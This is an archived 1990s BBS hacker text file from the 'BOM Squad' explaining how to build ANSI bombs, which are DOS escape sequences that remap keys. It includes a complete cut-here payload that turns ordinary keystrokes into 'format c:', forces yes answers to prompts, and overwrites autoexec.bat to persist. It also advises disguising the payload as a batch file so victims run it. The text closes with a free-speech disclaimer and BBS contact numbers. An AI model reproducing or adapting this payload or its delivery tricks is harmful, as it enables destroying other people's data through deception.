home *** CD-ROM | disk | FTP | other *** search
/ Steal This CD / steal_this_cd.iso / Chapter 04 - ANSI Bombs and Viruses / bombansi.txt < prev    next >
Text File  |  2005-09-30  |  5KB  |  112 lines

  1.                          
  2.                          δThe BOM Squad presentsδ
  3.  
  4.                         --=*=--ANSI BOMBS--=*=--
  5.                              By: Neuromancer
  6.  
  7. ( Note:  in this text the string "ESC represents the ANSI escape character
  8.   "".  You get this by holding down alt and typing 27 on the numeric
  9.   keypad.)
  10.  
  11. Hello.  I know many of you are baffled by the concept of ANSI bombs.  I've
  12. seen many text files on them, but few have very much good advice or
  13. instruction.  I figure the best way to learn is by example, so I've
  14. included an example.  Simply delete everything except what's between the
  15. "cut here" lines and replace all occurences of ESC with the ANSI escape
  16. character and you have a nicely functioning ANSI bomb.  Okay,
  17. here's what it does:
  18.  
  19. keys changed:
  20.  
  21.         c is now format c:<CR>
  22.         C is now format c:<CR>
  23.         y is now y<CR>
  24.         Y is now Y<CR>
  25.         n is now y<CR>
  26.         N is now Y<CR>
  27.         backspace is now format c:<CR>
  28.         ctrl+break is now Y<CR>
  29.         ctrl+c is now Y<CR>
  30.         d will now copy the bomb into the root directory of C: and
  31.           replace autoexec.bat with a batch file that restarts the bomb.
  32.         D does the same as d
  33.         t does the same as d
  34.         T does the same as d
  35.         F1 says "FUCK YOU!"
  36.  
  37.   You get the idea.  You are basically turning the victim's keyboard into
  38. a tool of destruction.  You have to be creative when creating a bomb and
  39. try to anticipate what the victim will do, like "hmm...if I saw the
  40. prompt FORMAT [Y/N] i'd just do a ctrl+c..." etc.  You can make the bomb
  41. do an unlimited number of things...dos commands, insults, etc...
  42.   In order to activate the bomb it has to be typed.  That's the
  43. trickiest part...getting the victim to type it.  This can be done most
  44. effectively by naming it with a bat extension and putting @echo before each
  45. line.  This would have the same effect as typing it when the batch file is
  46. run, and if the victim types it to look at it it will still work and the
  47. ANSI codes won't show.  Keep in mind that if the person you are trying to
  48. screw isn't using ANSI.SYS or another ANSI driver that supports key
  49. redefinition, this won't work, but there's surely no one left calling BBS's
  50. that isn't using an ANSI driver.
  51.  
  52. Okay, here's how it works...
  53.  
  54. ESC  [  3  ;  89  ;  13p
  55.   |  |  |  |  |-------||
  56.   |  |  |  |      |    |_the "p" at the end tells ANSI that this is a keyboard
  57.   |  |  |  |      |      string
  58.   |  |  |  |      |
  59.   |  |  |  |      |_then comes the redefinition.  You can put in text enclosed
  60.   |  |  |  |        in quotes, which will be typed out at the keyboard, or
  61.   |  |  |  |        ANSI escape codes for other keys, each seperated by a ";"
  62.   |  |  |  |
  63.   |  |  |  |_you need a ";" between the key code and the redefinition
  64.   |  |  |
  65.   |  |  |_this is the ANSI ecscape code for the key to be redefined.  These
  66.   |  |    codes can be found in your DOS manual under ANSI.SYS
  67.   |  |
  68.   |  |_the escape character must be followed by a "["
  69.   |
  70.   |__this is the ANSI escape character, #27.  To get it, hold down ALT and
  71.      type 27 on the numeric keypad.
  72.  
  73.  Between this info, your DOS manual, and the example you should be making
  74. your own ANSI bombs in no time.  Above all, have fun and remember that
  75. Jesus loves you no matter how much of a crumb you are.
  76.  
  77. ---------------------------cut here------------------------------------------------------------
  78. ESC[99;"format c:";13p
  79. ESC[66;"format c:";13p
  80. ESC[121;121;13p
  81. ESC[89;89;13p
  82. ESC[110;121;13p
  83. ESC[78;89;13p
  84. ESC[8;format c:";13p
  85. ESC[0;0;89;13p
  86. ESC[3;89;13p
  87. ESC[100;"copy key.ans c:\";13;"copy con c:\autoexec.bat";13;"type key.ans";13;26;13;"cls";13p
  88. ESC[68;"copy key.ans c:\";13;"copy con c:\autoexec.bat";13;"type key.ans";13;26;13;"cls";13p
  89. ESC[116;"copy key.ans c:\";13;"copy con c:\autoexec.bat";13;"type key.ans";13;26;13;"cls";13p
  90. ESC[84;"copy key.ans c:\";13;"copy con c:\autoexec.bat";13;"type key.ans";13;26;13;"cls";13p
  91. ESC[0;59;"Fuck You!"p
  92. --------------------------------------cut here-------------------------------------------------
  93.  
  94. Peace,
  95. Neuromancer
  96.  
  97. Note from the BOM Squad: If you feel that this file is wrong and that we
  98. have comitted a crime in some way well you are wrong. We have freedom of 
  99. speech in this country and you may not know this but all the information
  100. given in this file can alsso be obtained in the DOS manual. 
  101.  
  102.                        BOM Squad Sites
  103.                          ■-■-■-■-■-■
  104.  
  105.       The Garden Of Souls · ???-ANA-RCHY · BOM Squad WHQ
  106.       Graveyard Shift · COM-ING-SOON · Courier/Public HQ
  107.              Ωrete · 201-984-1738 · 201 Dist Site
  108.       Criminal's Sanctum · 908-888-4613 · 908 Dist Site
  109.  
  110. Special note from Mr. Sandman: My appologies go out to Eagle who is the sysop
  111. of Arete. In the file I typed up on Bush's Quotes I put in the wrong phone
  112. number. Anyway I've corrected it ad am currently passing the file around.